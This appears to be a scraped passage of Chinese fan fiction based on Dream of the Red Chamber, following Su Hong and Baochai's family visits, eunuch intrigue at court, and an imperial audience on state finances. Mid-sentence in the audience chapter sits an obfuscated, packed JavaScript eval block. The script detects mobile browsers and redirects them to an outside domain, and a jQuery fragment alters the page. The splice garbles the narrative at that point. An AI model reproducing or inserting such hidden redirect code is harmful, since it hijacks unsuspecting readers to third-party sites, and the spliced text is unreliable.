虽说苏老爷身边亦没有妾室、通房丫头，但难保日后苏鸿不会有别的心思。她素知宝钗宽厚、能容人，但夫妻之间的感情太深，宝钗见女婿和丫头们欢笑，岂有不伤心的。 宝钗一怔，忽略掉心里些微的不自在，笑道：“妈说得是，我知道了。” 她知道，大家子三房四妾的可谓司空见惯，偷腥的也不见得少。虽说苏家门楣不高，但也是正经仕宦之家，养几个妾室在府上，谁又能说什么？只是苏鸿平日都不要丫鬟、小厮们紧跟着伺候，凡事亲力亲为，竟不像是会沉溺于男欢女爱的人。 虽说如此，想到这个假设，她心里仍旧不太舒服。 薛太太见宝钗眉头微蹙，知道她心里还是不喜欢，也不好多劝，便又问起旁的事。与此同时，薛蟠和薛蝌不好直接打听苏鸿与宝钗二人感情如何，便旁敲侧击，又要拉苏鸿灌酒。 苏鸿喝了五杯便觉脸上发热，忙笑道：“两位舅子可饶了我，等会儿还要去给姨妈、舅妈请安，在这儿就醉了，越发见不得人了。” 薛蝌虽浑身书卷气，但说话做事却都透着一股利落干脆。他笑着举起酒杯道：“姐夫别忙着告饶，弟弟可没有多灌。便是到了姨妈、舅妈那里，舅父尚在外头，只姨父一人招待酒水，哪里就醉死了？难不成还忙着安置产业，怕银子飞走不成？” 苏鸿是头一遭成婚，最亲近的同龄人无非是几位母亲家的表兄、薛蟠兄弟和师兄，偏偏都并未成亲。又因喝了几杯烈酒，脑子混沌，现下听薛蝌带着些深意的话，一时竟未反应。 薛蟠见苏鸿不言，只一味夹菜吃，心中顿生疑窦。便抬手从酱香炖鸡中挑了一块儿姜，殷殷切切夹给苏鸿道：“妹夫吃块儿肉垫垫，瞧你喝得话都不会说了。” 苏鸿并未设防，一口咬下，顿时一个激灵。薛蟠忙将茶水递过去，又笑道：“竟是块儿姜，也太像鸡肉了，叫妹夫受苦了。” 苏鸿被姜味儿刺激得清醒过来，知道定是薛蟠在其中搞鬼。他灌了口浓茶后又寻了块儿姜，招呼薛蝌一起按住薛蟠，非得叫他也要上一口才肯罢休。薛蟠连连告饶，好师兄好妹夫胡乱叫一通，把苏鸿和薛蝌笑得腰都直不起 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他自己就是男人，又冷眼看着贾家一众子弟厮混，哪里不知道寻欢作乐也得手里有银子。便是不找欢场里的姑娘、兔爷儿，想跟别人相好，也得拿了银子铺路。苏鸿手上的钱叫宝钗管着，薛蟠再放心不过。 苏鸿倒是不曾想那么远，闻言亦是点头称赞，浑然未觉薛蟠之意。薛蟠和薛蝌便也放过苏鸿，叫他喝了醒酒汤，才说说笑笑用些饭菜垫了垫。 一边招呼着众人吃喝，薛蟠便道：“前儿听说贾雨村被降了，只是没来得及打听，你可知道里头的缘故？” 苏鸿闻言冷笑道：“他？说是他门下有人纵马闹市，便被御史参了一本。” 薛蟠自然不关心贾雨村如何，便是听了这个消息，也没去姨夫跟前问。此时不过拿出来闲聊几句，却不想竟是被这样一件“小事”。他微微蹙眉道：“只是这样，今上竟也听了？” 满京城中，不是勋贵便是官宦，随便一家放到原籍都是有名望的。如此大家，门下有人依附、奉承也是常事。不提门人，便是有头有脸的奴仆走出去，也绝非寻常百姓可比。纵马闹市，究竟也不算大事，怎会因此事就被贬了？ 薛蝌却想到什么，面色微微一变。贾雨村此人，其奸戾狡诈原比旁人更甚，只是才干优长，善于伪装，又能办事，这才叫贾家二位老爷、王老爷都极为喜欢。但他是好是歹，都是王家提拔上来的。 如今王老爷尚未回京，提拔起来的人却被人以这样的理由参奏，今上又准了，听上去不像是好事。虽说朝堂上不许人拉帮结派、结党营私，但能出人头地的，又有谁是单打独斗的。今上怕是心里清楚，却也罚了贾雨村，这就让人有些心惊了。 苏鸿心中一叹，垂眸道：“我等岂敢揣测圣意，料想是贾雨村不能约束门人，才叫今上生气。何况在朝为官，尚不能视百姓为己类，骄横跋扈，这官儿哪里能做得长久。” 薛蟠笑道：“你这话有意思，都说父母官父母官，要为官做宰的人将百姓视为子女爱护教导。你上下嘴皮子一碰，倒叫他们把百姓当人看，说得也太不堪了。” 46.计议 薛蟠话虽如此，心中既觉有理、又觉可愧，一时也有些脸红。苏鸿却并未说什么，转而说道：“舅舅在外头风评不大好，朝中有些风言风语说他插手地方政务，今上暂不曾理会。只是虽不理会，也不见得心里没有疑影儿。” 如今朝堂上现有的武将，多是开国时随太祖皇帝起兵的那批功臣后代。是以今上虽有心换下王子腾，又担忧旁人没有王子腾那样的能力。何况太上皇虽年迈多病，终究还有口气儿，今上也不想临了落了个不孝子的名声。 薛蟠和薛蝌听了，连忙细问，见暂且不妨事才都放下心。半晌，薛蟠方叹道：“如今一时比不得一时了。我们家虽说还有官职、买卖，但早不如先时受今上信重。贾家那边，也时有太监上门勒索。往前数十几年，谁敢勒索到贾家头上。” 史家虽说仍有爵位，但家里内囊早就空了，只能摆个空架子，如今亦是色色俭省。唯有王家，倒还是兴旺之家的模样，五月间又将表妹聘给保宁侯之子，多了门好亲戚。 只是薛蟠不大看好。不是他说自己人的坏话，实在是这些勋贵的铺张豪奢、无法无天都是一个模子里刻出来的。贾史王薛几家不入今上法眼，难不成保宁侯还能讨巧儿卖乖？ 苏鸿虽未曾细细打听过贾家的事，但也记得凤姐为了应对夏太监的勒索抵押金项圈等事。闻言便笑道：“古往今来，哪有铁富贵一说。如今骨肉亲友能团聚一处，吃饱穿暖，已经胜过许多人了。” 人间事变幻无常，连皇家都是几百年一换，更别提他们这些人了。子孙不成器，守不住家业的多着呢，便是子孙成器，也要看时运如何。他们能做的，也只是教导子孙做个有德之人，旁的也顾不了许多。 薛蟠闻言，点头赞道：“是该这样想。” 三人说说笑笑，便又谈起旁事。待时辰差不多后，宝钗便来催促苏鸿，一同到王夫人处拜见。苏鸿此时酒也醒了，与薛蟠兄弟二人作别后便去寻宝钗。 二人先去见了王夫人、贾政，又被王夫人引着去给贾母问安。贾母往日便喜爱宝钗和平稳重，见新姑爷也是才貌双全、斯斯文文的，心里更是喜欢。只是不巧前儿才病了一场，说了几句话就显得精力不济。 苏鸿和宝钗见状，便借口稍后还要去王家，略坐了坐便告辞离开。贾母知道是晚辈体恤，又叮嘱他们几句才将他们放走。到她这样的年纪，那些吃穿也只是寻常，唯有见晚辈们过得好，她才心中宽慰。 只是见着他们，不免又想起黛玉与宝玉的婚事。贾母心中再三衡量，终究还是决定过几日稍好些便为他们二人定婚。她已经是上年纪的人了，近来又多病，不由担心自己走得突然，叫宝玉和黛玉的婚事落空。 想到此处，贾母又连声呼唤鸳鸯，叫她将自己私库中的东西再盘查一遍。家中境况她不是不清楚，却也不好开口。两房本就矛盾不小，自己私下里贴补了谁，都会加剧兄弟俩的矛盾。 如今自己要为身后事打算，留了自己的，也要将剩下的东西都分好，免得两房又动气。只是贾母心知，便是自己再做足了准备，划得再公平，他们也不见得会心服口服。 苏鸿与宝钗离了贾家后，便乘车往宝钗母舅家去。因王子腾不在家，他夫人与宝钗又称不上感情深厚，只坐了会儿便回到薛家。他们与薛姨妈用了晚饭后，方驱车回了苏家。 苏母等早知他们今日不回来吃饭，便也不曾在意，听人说他们回府后就叫他们不必过来请安。新嫁女回门不是容易的，一天要应酬许多娘家亲戚，待回房后，他们才颇为放松地坐在炕上歇息。 宝钗一边打理丝线，一边叹道：“我跟妈说了会儿话，就去瞧了瞧凤姐姐，又往园子里去了一回。倒是叫我想起，我们一起调制胭脂、游园赏花的趣事。那园子最盛时里头住着十来位本家亲戚家的小姐，如今越发冷清了。再过一两年，想再聚一次怕是不容易了。” 苏鸿将宝钗搂进怀里，笑道：“长大了终究是要散的，又因有散，才显得聚越发可贵。当时我父母打发我到江南读书，虽说在那边认识了不少好友，但因着远离父母家乡，也觉不顺意。幸而还有家书遥遥致意，不然更觉难熬。” 他一边说着，心中便升起些许不舍，搂着宝钗不想撒手。又低声说道：“日后我若不外放还好，若去做了地方官，也是要跟父母兄弟分开。若是走得急，怕是也要夫妻分离。” 宝钗便笑道：“若非在外求学、寒窗苦读，安和也不能成就今日。至于日后，既然为官，自然是听今上如何调遣。但凡我能随行，我也……我也舍不得你。” 苏鸿闻言，笑着拉住宝钗的手贴在自己脸颊处，说道：“父亲母亲能相互陪伴，能与我相依相伴、同生共死者唯你而已，自然是要在一处的。” 二人说些体己话，才谈起今日别后诸事。宝钗想了想，方道：“今儿回去，妈又和我说起哥哥的婚事了。哥哥也老大不小，现今尚未成家，叫人看着不像。只是哥哥却没有半点娶妻的心思，让妈心里发愁。” 苏鸿笑道：“哥哥尚且年轻，又过惯了无人拘束的日子，许是姻缘尚未出现，暂且也不必着急。回头我请母亲也留意着，总不好叫哥哥落单。” 虽说《石头记》里出现了位夏金桂，但苏鸿私心里却觉得，虽说也有姻缘，但夏姑娘品行不佳，却不是良配。而他的师兄弟、好友等多在江南，这会儿竟也想不起谁家还有待字闺中的姊妹。 宝钗一笑，说道：“妈已经请母亲帮忙留意了，只是哥哥不松口，此事也难说。哥哥又打算往南方去一趟，估摸着一去便是半年，下个月就要起身南下了。上次哥哥出去，好歹长了些见识，又平安回来，妈也放心叫他出去。” 苏鸿问道：“不是说上次遇到劫匪，短时间不打算出去了，怎么又改了主意？” 他对此事知之甚深，先是宝钗在信上提了一句，待他回京后，酒席上薛 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宝钗一怔，没想到苏鸿会有这样的想法。毕竟翰林院中，多是修史、撰文、教导皇室子弟等事，并不涉及这些。但又想到，苏鸿总不至于一直待在翰林院，总是要到六部办实事的。若有朝一日今上问策，苏鸿也可因地制宜，不至于言谈轻浮。 她心中更喜，看着苏鸿点头赞道：“千里不同风百里不同俗，既然入朝为官，为朝廷效力，是该多了解些。若说仕途经济，我哥哥不大行，但这样的事却是无妨的。” 二人灯下计议，将事情安排妥当后，方才解衣睡下。 皇宫中，今上阖上双眼听太监轻声汇报宫中诸事。见太上皇那边并无异常，仍是病歪歪的才放下心。他这个父亲，昔年便给他开了好大一个玩笑，因为疾病退位，谁知后来竟又缓过来，硬是把持着权力不放。 因而他近日多病，他便日日遣太医前去诊脉，又叫宫人们死盯着。见太上皇果然是年纪大了，再无干涉政事的精力，他才放心在朝中安插自己的人手。只是虽知他不能返老还童，今上还是让人密切盯着。 若父皇当真年迈多病，顺其自然便好。若果真有好转的趋势，他身为人子，竟是不得不使出手段来。这般想着，今上自觉不必脏了自己的手，心中颇为喜悦轻松。 太监见他心情和悦，方说道：“今儿领分例时，贾娘娘的宫女觉得内府给的东西不好，又恰巧吴娘娘身边的人也过来。两位姑娘谁也不服，闹到皇后跟前。娘娘就命贾娘娘闭门思过一月，等闲不得出入。” 内务府的人自然会看眼色，又是拜高踩低惯了的。贾贵妃初封时今上倒是很喜欢，觉得她德才兼备。如今虽说德才仍在，但宫里多了几位样貌拔尖儿的新娘娘，今上对贾贵妃便淡了。 又因贾贵妃身边没有得力的父兄，前儿她兄弟写的诗词还叫今上不喜，内府便也看菜下碟儿。最近分给贾贵妃的东西，虽说数目不差，仍是贵妃的分例，但东西的成色却都不如以往。 47.暗潮 今上听了，想到贾家现今不光没有得力的人，隔三差五还有人参奏一本，说贾家人纵容王孙公子聚赌、国孝娶亲等等。这也罢了，贾元春的亲弟竟敢写《姽婳词》，贾政还敢将这首词递到礼部，难不成是觉得他像唐明皇一样昏聩、无能？ 他是唐明皇，那贾元春算什么？今上想到这里，骤然冷笑一声，竟是不想听到跟贾家有关的任何事。只是眼下王子腾还被点为九省都检点，在外办差，他也不好处置他外甥女，叫他觉得是不是自己对王家、贾家不满。 太监看今上的态度，便知贾贵妃失宠是板上钉钉的事儿，心中对她更是轻视。想起贾家虽说公中没了钱，但太太奶奶们的体己、头面也都是价值连城的好东西，心里不由泛痒。 他们在宫里办事的，消息灵通，早有手脚快的去搜寻银子。谁都知道贾家现今靠着当铺周转银子，那位琏二奶奶出身王家，手里的东西件件都是值钱的。那位二太太，还不知从哪里弄了一箱铜锡家伙，虽说笨重了些，也是极好的物件儿。 只可惜多是活当，若是死当，他也可趁机买些喜欢的收藏在家中。但看眼下贾家的形势，说不定再过几个月就成了。大小太监们窥伺今上面色，觉得满心欢喜，今上也只瞥了一眼，并未作声。 太监见了，连忙躬身道：“爷，今日北静王又聚集学子、勋贵子弟等在府上习书闲谈，那贾宝玉又受邀去了。又说起《姽婳词》，将林四娘夸赞得了不得，又说朝堂诸人皆为‘禄蠹’等。北静王等人也不理论，还笑着称赞。” 今上听了，蹙眉道：“废物，再去打听，你干爹是这样教你办事的？把他们说的话一字一句都不许漏，全都呈上来。” 那太监连忙告罪，唯唯诺诺去了。一时绕到外头，至一所灯火通明的房舍前，就见小太监低声道：“爷爷正抽着烟，心里喜欢。” 他便随手掏了块儿银角子扔过去，笑道：“赏你了。” 没去看那小太监唯唯谢赏，他弓着身进了，就见戴全正斜依在炕上吞云吐雾。见他过来，懒洋洋掀开眼皮道：“说完了？主子爷怎么说？” 他小跑着跪到炕边的脚踏上，乐呵呵道：“主子爷心里不喜欢，只怕是碍于王家才不好发作。那贾宝玉在北静王的宴席上又拉拉杂杂骂了些话，主子爷嫌我说得太笼统，还叫我细细写了再呈上去。” 他心里清楚，写细致了呈上去，今上也只是一扫而过。非得他单独提一句，今上才会看重。何况又不是胡说，那贾家的罪证一抓一大把，竟用不着他诬陷。 “嗯……”戴全拖长了声音笑了一声，“你小子，就会捣鬼。” 看来这个干儿子有几分聪明劲儿，就是忒聪明了，主子心里岂会不嘀咕。就算想迎合主子爷的心思，也得悄悄来，大张旗鼓的，主子爷不说下面人贴心，反而该说他们揣测圣意了。 说着又眯着眼抽了一口卷烟，笑道：“别说我当爹的心狠，不教你。咱们当太监的，有今天没明天，只有银子才是实打实的。但头一个要紧的，还得揣测主子的心思。主子爷觉得需要惩治，别管好坏，也得冲上去搜些罪证。主子爷喜欢的人，就算坏到流脓生疮，咱们也得巴结着。” “只是，揣测归揣测，也不能放到明面上叫主子爷知道。你给主子爷办差，办好自己的就行了，做什么多余的事儿？” 太监陪笑道：“爹教训的是，儿子知道了。这是忠顺王爷今儿送过来的，儿子想着，唯有孝敬爹一人才合适，请爹收下儿子的心意。” 说着自袖中摸出几张银票，笑嘻嘻放到炕桌上，又殷切地爬上炕给戴全添烟。 戴全见他上道，瞥了眼银票道：“嗯，算你小子有孝心。”说完又嘀嘀咕咕说了些话，打发他千恩万谢地走了。待人走远了，他才拿过银子点了点，发现比预想中的少了一半，不由啐了一口，骂道：“不知羞的小杂种，敢克扣你爷爷我的钱。” 只是想到忠顺王每月得了银子都会送来些，又眯了眯眼，心里想着难怪忠顺王能得主子爷的喜欢。有时候啊，那些大人们在外头再兢兢业业，但不能体贴圣意，都是白下功夫。他笑呵呵摇了摇头，才将银票小心收进匣子里。 苏鸿虽知贾家终究要败落，却不知已经有一干人打着贾家的主意，待婚假后便在翰林院点卯坐班。苏鸿与宝钗日日待在一处，如今一朝分离，虽说只是白日，也觉难舍难分。但一人要上衙当差，一人要管家理事，也只能这般。 且说苏鸿，近日新婚，并没有精力到须弥戒子中劳作。因而趁着在衙门午休的功夫，先进了识海去看，见那《水泥》与《制镜》仍在宝轮中挂着，心中犹疑。 他心知所谓水泥，一听便与泥土、砖石类似，料想是与建筑有关，许是一种新兴的好东西。但这也只是猜测，并不能肯定。若《水泥》有用还好，若没用，他辛苦积攒的功德便白费了。 只是看来看去，宝轮中挂着的宝物并没有他特别需要的。且如今已然跻身官场，薛家又似有不稳的征象，他总得想方设法增加些筹码，想捞人也得让今上对薛家有个好印象才是。 这般想着，苏鸿便抬手在《水泥》的格子中点了一下，将其兑换出来。一阵熟悉的暗金色流光闪过，苏鸿识海中便多了一本薄薄的小册子。苏鸿兴致勃勃打开，就见目录上赫然有三合土、糯米灰浆、夯土等，皆是从前听过见过的，唯有最后一列写着铁水泥。 苏鸿不解其意，蹙眉暗想，难不成“水泥”中还能加铁？听起来确实不错，但盐、铁乃朝廷管制，民间轻易不得用，便是有了方子也不能光明正大拿来用。他一边想，一边径直翻到最后去看，不由咋舌。 制作铁水泥，所需的石灰石和黏土倒是容易找，但一来铁矿绝非寻常官宦能拿到的，二来……若他没有记错，还从没听过哪座官窑的火能达到白蓝色——顶多也就是锻铁时烧成金黄色。 至于其他几页上所写之物，本朝尽皆都有，只是需要糯米、红糖、鸡蛋等物，造价过高，极少用于 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但想到仙人的厉害之处，苏鸿还是翻开手中的制镜法，希望能找到一些现阶段有用的东西。他的目光略过一干铜制的镜子，便看到玻璃镜中细分了水银镜、锡箔镜、银镜、铁镜等等。 他逐一细看，见其中水银镜便是目下在宫廷中极为流行的西洋镜，心中一喜。至于其他，虽说可以一试，但料想是仙界才可制成的，他便暂未放在心上。玻璃镜一节，连大大小小的玻璃镜面如何制成都有描述，所需工艺都有所耳闻，正好交由工匠制作。 若果真能成，这门手艺也并非他能守住的，连薛家也不好拿着这个挣银子——他们家孤儿寡母已经够惹眼了。再添些暴利的生意，便是有王家和贾家护着也不管用，那些眼红的小人岂会坐视薛家大把搂银子。 现今国库空虚，不单今上，连其他户部、内府的官吏也都盯着素有富名的家族。南安郡王又频频上奏，说敌国境内不安，时常骚扰沿海，朝中正是急等着用钱的时候。倒不如借薛家的手先给今上，讨好一番，将来那些事被翻腾出来时能少遭些罪。 主意已定，苏鸿便使人传话给薛蟠，邀他晚间一聚。办完这些，苏鸿见自己的功德只剩20，不由暗叹功德不够用。只是他身在翰林院，想帮扶百姓唯有靠劝谏君主，可这竟也不是翰林官的职责，贸然出言反而会叫一干御史排斥。 可若单靠布施粮米去积攒功德，更是得等到猴年马月去。倒是那些地方官，虽说远离京城、仕途受限，但也是实实在在为官一方，能为百姓做事。若一直在京中熬着，想左右君王、进言献策乃至于惠及天下百姓，三十年也未必能行。 苏鸿心中思忖，摇摆不定，一时也不知该如何是好。正在此时，纪花明见苏鸿仍是闭目休息，便将他叫醒，说道：“师弟快醒醒，要到时辰了。” 苏鸿被外力推醒，睁开眼笑道：“多谢师兄提醒。”又见他换了件衣裳，额头带着汗珠，又道：“师兄怎么这会儿还练体，叫学士们瞧见怕是该说了。” 48.良策 自古文武相轻，翰林院中多是文官，见纪花明这样如武将般壮硕的身材都有些不喜，如今见他还在院中学些拳脚功夫，更该背地里说人了。苏鸿虽不是在意旁人意见的，但多一事不如少一事罢了。 纪花明笑道：“我这么一副体格，又和勋贵小姐定亲，他们早就看我不顺眼了，还差这一桩？左右不是什么大事，爱说便说，提拔人还看这个？” 纪花明心中暗道，纵然想出人头地，也不必在这样局势不明朗的情况下出头。他入朝为官以来，算是见识了什么叫唇枪舌剑、刀光剑影。那些上官满口大道理，却不干一件人事，叫他得中榜眼后一颗想平步青云、报效朝廷的心灰了大半。 朝中被如此禄蠹占了大半，他便是想奋勇争先、激荡清流，也得看有没有命在。官场上错综复杂，能保全自己，熬个平安致仕便是了不得了。 苏鸿明白他的言下之意，悄声叹道：“何尝不是这话。先时我还想着，要在京中出人头地、一展抱负，现在想来倒是十分幼稚可笑。若京中有人坐镇，我倒是甘愿到地方为官，造福一方。” 可若京中无人，又没有今上赏识看重，去地方为官也只会处处受制。如今这样，真是叫人进退维谷。二人见已经有人来了，便连忙住口，笑着跟同僚打招呼。纪花明又神情自然地抽出一本典籍，笑嘻嘻上前请教。 文人大多有好为人师的性格，纪花明又是性格谦逊、爽朗大气的性子，他便耐心指点了两句。苏鸿适时捧场：“方才我和纪编修还在商讨，有些拿不准。究竟还是宋学士学识渊博、经历丰富，稍加点拨就叫我受益匪浅。” 宋学士便捻着胡子笑道：“不是我自夸，到底年纪比你们大些。但老胳膊老腿的，也比不得你们年轻人能下苦功夫。”纪花明笑着奉茶，宋学士坦然接了，玩笑道：“教你们几句，我也厚颜受用些。” 他冷眼看着，新来的三个年轻人倒也算懂规矩，性子尚可。就是家世都欠缺些，唯有苏鸿还好，父亲也是翰林院出身。就是眼皮子太浅，说什么为了救命之恩，愣是娶了薛家姑娘，还不是贪图薛家富贵。 娶都娶了，也不知道做姿态给谁看，更是傻的不敢拿薛家银子孝敬上官。宋学士心底不屑，笑吟吟说了几句便各自走开，悠然坐在官椅上看邸报。 苏鸿和纪花明也不再闲谈，对视一眼便捧着史书埋头去看，时不时写写划划。不多时，忽而掌院学士传命叫苏鸿等一甲三人过去，苏鸿便忙忙收拾了桌案，略整仪容便和其他两人一同拜见上官。 掌院学士静静看着他们，见他们各个敛息屏气，方说道：“你们入翰林院也将近半年，料想也微有所成。今上近来有一事烦心，欲要召尔等入内对策。身为人臣，对君上应知无不言、言无不尽，又不能信口胡说，可知道？” 三人连忙应下，心中均是纳罕。虽说翰林官本就是为今上出谋划策的，但翰林院多少学士不能问，却来问他们。掌院学士也不多言，起身整衣后带着他们一路到了临敬殿前。早有太监候在门外，瞧翰林院一干人过来，笑嘻嘻道：“诸位大人稍候，里头史家侯爷尚在。” 苏鸿垂目屏息，近日政事平稳，似乎风平浪静，并无大事。但若果真并无大事，今上又何必舍近求远，放着自己信重的臣子不问，却来问他们三个初出茅庐的年轻人？ 史侯……京中只有两位史侯，便是与贾、薛、王家联络有姻扶持照应的史太君娘家。若论京中还有哪位武将可堪大用，两位史侯必然榜上有名。只是从不曾听闻史侯得了今上青眼，为何今日这般离奇。 苏鸿有些不安，袖中的手微微攥紧。不多时，就见忠靖侯从殿内悄然退出，见外头候着的苏鸿等人也未及寒暄，面带愁色匆匆离开。苏鸿正微微出神，就听太监出来传四人入内，连忙收敛心神。 待众人磕头见礼后，今上的目光在苏鸿等三人身上略过，淡淡道：“平身，赐座。” 他对苏鸿有印象，昔年自己尚未受封太子时，曾代太上皇到国子监慰问学子。苏鸿年仅十二，立于一众学子中却似鹤立鸡群，极为醒目。其言谈有务，亦非轻薄浮躁之辈。 若论不妥之处，就是与皇商薛家联姻，叫他用也不是、不用也不是。 薛家是紫薇舍人薛公之后，是随太祖皇帝起兵的肱骨之臣，后来又入内府、转任皇商，领内府帑银为皇家办事。薛家几代在行商一道上颇有天赋，填充内帑亦算有微末功劳。只是其与祖籍金陵的贾家、王家等交往密切，颇有结党营私之嫌。 如今薛家家主薛蟠，只是粗通文墨不说，亦不能专心办差，给内帑交的分红竟一年少似一年。国库空虚不说，连内帑都要空得跑马，叫今上心里颇为恼火，对一干皇商暗骂废物。他们自家倒是富裕繁华，都不曾想到主子的难处。 苏鸿察觉到今上的目光在自己身上停留，心中一窒，连忙垂首端坐，不敢有丝毫不敬。今上将目光移开，思忖片刻后笑道：“尔等不必紧张，朕听闻，凡君王皆问策于贤臣。如今水旱成灾、戎狄时警，长此以往必生动荡。若尔等腹有良策，旦请直言。” 苏鸿想到今上口中所言“水旱成灾、戎狄时警”，不由暗暗揣测今上之意。 近两年，各省皆有上报旱涝，北方更是在收成前连下两月冰雹，阴雨连绵，一县之地竟颗粒无收。前几月，近海一带海啸，户部勉强腾挪赈灾银，派了贾政前去赈灾，平息民乱。只是本朝尚因地大物博可以勉强支应，与外国本就贫瘠，因受灾更是没了廉耻，频频劫掠边境。 今上本是自尊自大之人，见自己当政竟是天灾人祸接连不断，岂有不为难恼怒之理。若今上果有励精图治之心，倒也是好事。上行而下效，落到百姓身上的仁政哪怕只有一分，也能改善许多。 苏鸿略一思索，便起身道：“微臣不才，若只观当下，有一策请陛下细听。” 今上一怔，没想到苏鸿这样快就要回答，不由微微蹙眉。朝上许多老大人资历深厚，要建言献策亦要酝酿许久，便是殿前奏对，少说也要一炷香。苏鸿年纪轻轻，虽说高中状元，终究并未观政六部，想也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389109|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是纸上谈兵。 他神色淡淡，说道：“讲。” 苏鸿道：“水旱成灾，戎狄有窥伺上国之心，若要解决，须得国库充盈。本朝地大物博，水、旱不过一县、一州之地，只要银钱充足，调动米粮、民夫赈灾并非难事。朝廷施行仁政，百姓自安，外患自解。要国库充盈，无非开源节流。” 今上闻言蹙眉细想，不由问道：“话虽如此，可国库空虚非一日之弊，如何开源节流？” 苏鸿便笑道：“我泱泱大国、物资丰饶，瓷器、茶、刺绣等物，在外国价值千金。内府皇商时常购置外国宝石、西洋镜等进上，陛下亦可命户部、内府等特设衙门，以官用之物交易贩卖。连民间次品都能在外国卖出天价，更遑论官用精品。” 掌院学士连忙制止道：“信口胡言！上国官用之物岂可流入小国，此行有失威严，万不可为，陛下不必听苏修撰胡言。” 一国朝廷都做起生意来，这不是与民争利，叫天下人耻笑吗？如今虽有皇商专管向外商征税、收购外商货物等，但也是收外国的货物。 若是允许皇商以朝廷的名义卖官用之物——据他所知，不少祖籍南方的大臣家中都有生意，专门卖货给外国人，连他家里也养着通译。外国人有了上用的好东西，谁还看得上民间的东西。 今上虽觉有失风度，但细想之下，也觉是个来钱快的好法子。现在国库、私库尽皆亏空，天天一睁眼就是户部哭穷，叫他也心烦意乱。想到苏鸿所言，便倾身问道：“爱卿说此法解一时之困，可有长远之法？” 苏鸿坦然自若道：“本朝自开国以来，历代先皇皆崇文尚礼，为政以宽，天下尽皆感戴。百年来，亦是昌明隆盛，前朝未可及也。只是陛下孜孜求治，而官吏参差不齐，未能体察上意，庸者在位，扰乱地方。” 这番话冠冕堂皇，几人心知肚明朝廷究竟是何模样，听了便觉可笑。唯有今上日日困于深宫，因国库空虚，尚未来得及巡幸天下。何况他又是头一等自尊自大的人，见苏鸿将罪责归于地方官能力平庸，当即信以为真，连连追问。 苏鸿说道：“其一，严明律法。上至天子、下至庶民，不应上下异法。其二，优选贤良。治天下应以贤才为本，地方垂管百姓，更应优选良才，方能替陛下布政一方。其三，陈兵备战。弹丸小国，屡屡犯边，不外乎本朝为政以德，不愿荼毒他国。但其狼心不灭，终成后患。” 今上蹙眉道：“苏修撰言之有理，但不过都是老生常谈。” 他心里有些失望，虽说知道苏鸿这样短的时间不能说出什么一二三来，但也不至于是这般泛泛而谈。他不信苏鸿听不出自己究竟想问什么，却顾左右而言他，可恶至极。 苏鸿便笑着解释道：“陛下宽仁，不免使得官吏心存侥幸，不念天恩，徇私舞弊。严明律法，可使上下一心、吏治清明，等闲不敢贪污受贿。优选贤良为官，可为陛下劝课农桑、抚恤百姓。百姓安稳，不过三五年，国库自然充盈。届时，外患又有何惧？办法虽老，却都是良策。” 49.对策 纪花明暗暗咋舌，悄悄瞥了眼苏鸿。他虽未明说，但话里话外的意思已经很明确了。只是路子太野，若传扬出去，只怕满朝文武都要敌视苏鸿。 水至清则无鱼，满朝文武拎出来，多多少少都能被挑剔出一些毛病。这会儿建议严明律法，又赶上国库空虚，不是鼓动今上抄家是什么意思。至于优选地方官，想让地方官听话，既要给足待遇、日后提拔也得优先考虑。 这样一来，京官岂有不愤恨的。可若不往别的地方想，恐怕就如陛下和掌院一样，只当苏鸿是泛泛而谈——毕竟苏鸿父亲、外祖父及舅舅等尽皆在朝为官，真格弄起来，定会被连累。 倒是前头，建议朝廷出面营商，听上去还有几分可信度。若果真做成此事，定是能解今上燃眉之急。 今上并未听出苏鸿言下之意，心里仍旧想着营商一事。虽然不想放下身段，让内造的物件儿流入外国，但外国的银子和珠宝却是实打实的，又有西洋镜、西药等稀罕物。如此想来，倒也不算吃亏。 只是群臣自家亦或亲戚家中，早有与外国船只往来贸易获利的门路。自己若贸然提起，不单大臣会因自己利益受损而拒绝，那些腐儒老学究们更会群起攻之，坚决不许。思及此处，今上也有些拿不准。 沉吟半晌，方才想起还有今科榜眼、探花不曾献策，便看向一旁伺候的太监。太监心领神会，连忙催促起纪花明、谭桦二人。 二人只顾着揣摩苏鸿深意以及今上的心思，哪里还有心思想自己的对策。 沉默一瞬后，纪花明才道：“微臣以为苏修撰所言有理，抚恤百姓、整顿军备离不开银钱。只是眼下商议朝廷行商，做与不做尽皆有理，难以抉择。为从速而论，国库中尚有昔年罚没犯官家产抄出来的古董、瓷器、摆设、首饰等，尽皆珍品。不如广邀老成有功的商贾，命其一同择选，价高者得。” 见今上不言语，纪花明又试探着说道：“查没的物品一直堆放在国库，不仅没有丝毫生息，还要派人专门保管，未免得不偿失。若变卖这些，一来不必再着人看管、俭省人力，而来商贾得此珍品，定然感戴天恩。” 掌院学士有些恼怒，没想到苏鸿和纪花明平日里斯文恭敬，却敢这样口出狂言。国库里的东西，便是霉烂在国库，自然有它们该有的去处，哪里轮得到小小的翰林官打起这些东西的主意。 一个建议朝廷行商，一个干脆建议变卖国库中的珍品，叫外国知道了成什么样子。真不愧是单归儒那家伙的学生，一个比一个不知羞耻。他深深呼吸两下，方觉顺气，连忙给尚未发言的谭桦使眼色。 谭桦正是今科探花，年已三十有余，正是最稳重、懂事的年纪。掌院学士对其寄予厚望，以眼神连连催促。 因今上不曾说话，空气中带着诡异的沉默。谭桦犹豫片刻，因掌院学士催促，一咬牙垂头道：“治大国若烹小鲜，一动不如一静。何况民心未安，不宜大动干戈，应暂且议和罢战。微臣以为，当务之急是安稳民心、兴修水利。水旱连年，生民遭受荼毒，陛下正当广施恩德，兴修水利，调和气候……” 他洋洋洒洒说了一通，心里却越说越没底气。抚恤百姓要用钱，兴修水利就更废钱了。谁都知道，来钱最快的法子就是勒索富商、查抄贪官，但这样的办法岂是他能说出口的。贪官也就罢了，苏鸿的岳家就是大富之家，在他面前说这些岂不是自找麻烦。 至于水旱成灾，不免叫人怀疑是不是今上德行有亏，才让治下百姓如此多灾多难。若换位老儒来此，直言要今上下罪己诏也使得。 